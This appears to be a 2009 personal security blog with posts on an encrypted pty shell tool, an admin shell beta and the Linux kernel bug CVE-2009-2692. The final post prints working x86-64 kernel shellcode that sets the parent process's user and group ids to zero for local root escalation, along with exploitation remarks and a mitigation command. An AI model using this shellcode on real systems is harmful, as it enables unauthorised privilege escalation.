Friday, August 28, 2009

rewrote Port Shell Crypter

I rewrote PSC, a tool to upgrade plaintext and/or
sessions without a tty across networks (even via
multiple hops) to a full crypted pty based session.

It works by doing the handshake and crypto across
the terminal layer instead of using network calls. The whole
code does not need any networking functionality.
If you have a chained session from host A to D like
A -> B -> C -> D and before starting the session you start your
local psc tool on host A and as soon as on host D you start
the other endpoint, the full chain is encrypted and nobody
on B and C can see or modify what you are typing.
Evil administrators on intermediate hosts (B, C) might use
ptrace() or whatever to even sniff SSH sessions. Using psc,
this is not possible anymore.

First, I wanted to make some video (since it seems very hip
these days :) showing how a old gitweb exploit makes a full
pty crypto shell using psc so you could use 'mc' etc.
on it at the end. However, xvidcap has some lib requirements
which I cant give it on my machine yet without hours
of recompilation and so I thought I do the release old-school. :)

Friday, August 21, 2009

CRypted Administration SHell beta available

You can download crash here.

I started this project during last hackweek in July 09 and
now found some time to finish it.
Login/password is cr4sh/cr4sh. If you have any major problems
please let me know, otherwise the release will be made
available to a broader audience.
crash has not yet been tested on slow/hanging networks
and I'd be interested in feedback whether the chunksizes
still do etc.

Saturday, August 15, 2009

CVE-2009-2692 and android; mitigation

Update:{ it seems like someone else have had more time than me
checking out the CVE-2009-2692 vulnerability and the -EINVAL
vs. -EPERM issue on android. As already stated below, one
should check the ELF loader and how it handles PT_LOAD
segments of 0-addr.And, it seems that it did the trick!
At least from reading their exploit.
I didnt test it but it looks good to me.}

I made up a reliable exploit for CVE-2009-2692 myself with a generic
kernel 2.6 x86-64 shellcode which has only a small stub in
asm and does the rest in C.
It works reliable across the various kernel versions and I hoped to pwn my android with it, but unfortunately it turned out that the running 2.6.27 kernel inside has proper mmap_min_addr set to 0x1000 so this bug is out of the game. There is no suid for a
PERSONALITY_SVR4 preload either. The thing that makes me
wonder is, that it returns -EINVAL instead of the common -EPERM,
so maybe some further research is required.
Maybe linking the ELF binary's PT_LOAD segment to 0 helps :)

The funny thing is that a lot "
CVE-2009-2692 exploit" queries
from search engines point to this site and the crowd seem to have problems finding spender's wunderbar_emporium.tgz :-)

If you are looking for easy mitigation of the attack
on openSUSE systems, call

echo 0x1000 > /proc/sys/vm/mmap_min_addr

from a rootshell. Since there is no setuid pulseaudio or
SELinux installed on openSUSE, this kills any NULL ptr attacks.

Friday, August 14, 2009

A .note on CVE-2009-2692

I recommend reading this posting.

I am usually not commenting on other ppl's bug-findings. 100% of the fame and honor should
go to Tavis Ormandy and Julien Tinnes. If spenders exploit is doing too much magic for you,
heres the simple code snippet, which, if mapped at 0x0 gives you root:

// threadinfo = $0xffffffffffffe000 & %rsp
// task_struct offsets: current->parent = 696 current->uid = 1080
void do_root_2_6_27_x8664()
"xor %rax,%rax\n"
"mov $0xffffffffffffe000,%rax\n" /* find threadinfo */
"and %rsp,%rax\n"
"mov (%rax),%rax\n" /* threadinfo->task */
"mov 696(%rax),%rax\n" /* task->parent */
"movl $0,1080(%rax)\n" /* task->uid = 0 */
"movl $0,1084(%rax)\n" /* task->euid = 0 */
"movl $0,1088(%rax)\n" /* task->suid = 0 */
"movl $0,1092(%rax)\n" /* task->fsuid = 0 */
"movl $0,1096(%rax)\n" /* task->gid = 0 */
"movl $0,1100(%rax)\n" /* task->egid = 0 */

It doesn't disable SELinux or so, its just for understanding that for simple rootshell you only
need to give the parent of the exploit (which is usually the shell that started the exploit)
UID/EUID of 0. The code is a modification of shellcode I used in a bluetooth kernel
PoC exploit 4 years or so ago.The code will cause a segfault
to the current process which does not matter since we
only care about the parent shell which obtains its root privs.

So, how much magic is there with the exploit?

Greetings to the people at HAR, I am sad I cannot attend this time :(